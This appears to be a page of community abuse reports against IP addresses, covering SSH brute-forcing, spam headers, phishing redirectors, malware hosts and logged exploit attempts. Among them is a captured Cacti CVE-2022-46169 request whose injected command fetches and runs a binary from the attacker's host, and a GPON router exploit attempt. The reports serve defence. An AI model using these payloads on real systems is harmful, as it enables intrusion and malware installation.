Scanning for sensitive web locations (/.env, /google-service-account.json, /firebase-service-account ...
show moreScanning for sensitive web locations (/.env, /google-service-account.json, /firebase-service-account.json, etc)
show less
Mar 29 01:08:10 shumira sshd-session[9299]: Invalid user admin from 172.104.96.58 port 60052
Mar 29 ...
show moreMar 29 01:08:10 shumira sshd-session[9299]: Invalid user admin from 172.104.96.58 port 60052
Mar 29 01:08:10 shumira sshd-session[9299]: Connection closed by invalid user admin 172.104.96.58 port 60052 [preauth]
Mar 29 01:08:11 shumira sshd-session[9301]: Invalid user admin from 172.104.96.58 port 60058
show less
Spamming on behalf of "sciresm.com", a known predatory journal that spams universities without opt-i ...
show moreSpamming on behalf of "sciresm.com", a known predatory journal that spams universities without opt-in.
show less
Received: from host.flynautstudiox.com (157.245.116.165) by
QB1PEPF00004E0E.mail.protection.outloo ...
show moreReceived: from host.flynautstudiox.com (157.245.116.165) by
QB1PEPF00004E0E.mail.protection.outlook.com (10.167.240.6) with Microsoft
SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.20.8137.17
via Frontend Transport; Fri, 8 Nov 2024 07:45:40 +0000
show less
myeloma.gr.jp/z.php and myeloma.gr.jp/rb.php are Netflix and RBC bank phishing redirectors.
Site ...
show moremyeloma.gr.jp/z.php and myeloma.gr.jp/rb.php are Netflix and RBC bank phishing redirectors.
Site owner has been ignoring abuse reports.
show less
Floormat spammer relentlessly spamming our ticket systems and users. There was no opt-in (violation ...
show moreFloormat spammer relentlessly spamming our ticket systems and users. There was no opt-in (violation of Canadian law), there is no unsubscribe, and the company itself ignores emails and phone calls. Hosted by HostPapa, who likewise do nothing.
show less
Spamming ads for "StopWatt", individual spam sent to multiple addresses each of which was stolen in ...
show moreSpamming ads for "StopWatt", individual spam sent to multiple addresses each of which was stolen in different data breach incidents.
show less
5.252.177.37/Downloads/stopdoingthis.zip, apparently a fake Realtek driver used in drive-by download ...
show more5.252.177.37/Downloads/stopdoingthis.zip, apparently a fake Realtek driver used in drive-by download spam
show less
Fake invoice spam directs to bf3design.fr, hosted on this IP. It will attempt to download malware o ...
show moreFake invoice spam directs to bf3design.fr, hosted on this IP. It will attempt to download malware onto detected browsers, while redirecting to google for tools like curl or wget.
show less
Received: from ily.com (23-86-15-51.instances.scw.cloud [51.15.86.23] (may be forged))
by <x> (8.1 ...
show moreReceived: from ily.com (23-86-15-51.instances.scw.cloud [51.15.86.23] (may be forged))
by <x> (8.15.2/8.15.2) with ESMTP id x
for <victim_address>; Sat, 13 May 2023 23:05:17 -0300
Message-ID: <[email protected]>
Subject: <victim_address> Coffee + this = fast metabolism
From: Java Secret <[email protected]>
To: <victim_address>
show less
Attempting to exploit flaw in Netlink/OptiLink GPON ONT routers (no CVE):
179.43.177.242 - - [16/ ...
show moreAttempting to exploit flaw in Netlink/OptiLink GPON ONT routers (no CVE):
179.43.177.242 - - [16/Jan/2023:11:39:19 -0400] "POST /boaform/admin/formLogin HTTP/1.1" 301 169 "http://<ip>:80/admin/login.asp" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" "-"
show less
Attempting to exploit CVE-2022-46169 in Cacti:
[16/Jan/2023:12:07:21 -0400] 185.224.128.215 TLSv1 ...
show moreAttempting to exploit CVE-2022-46169 in Cacti:
[16/Jan/2023:12:07:21 -0400] 185.224.128.215 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /cacti/remote_agent.php?action=polldata&local_data_ids[0]=1&host_id=1&poller_id=;/bin/sh%20-c%20%22cd%20/tmp;%20wget%20http://185.224.128.215/lolx86%20-O%20x;curl%20http://185.224.128.215/lolx86%20%3E%20x;chmod%20777%20x;./x%20cacti%22 HTTP/1.1" 49
show less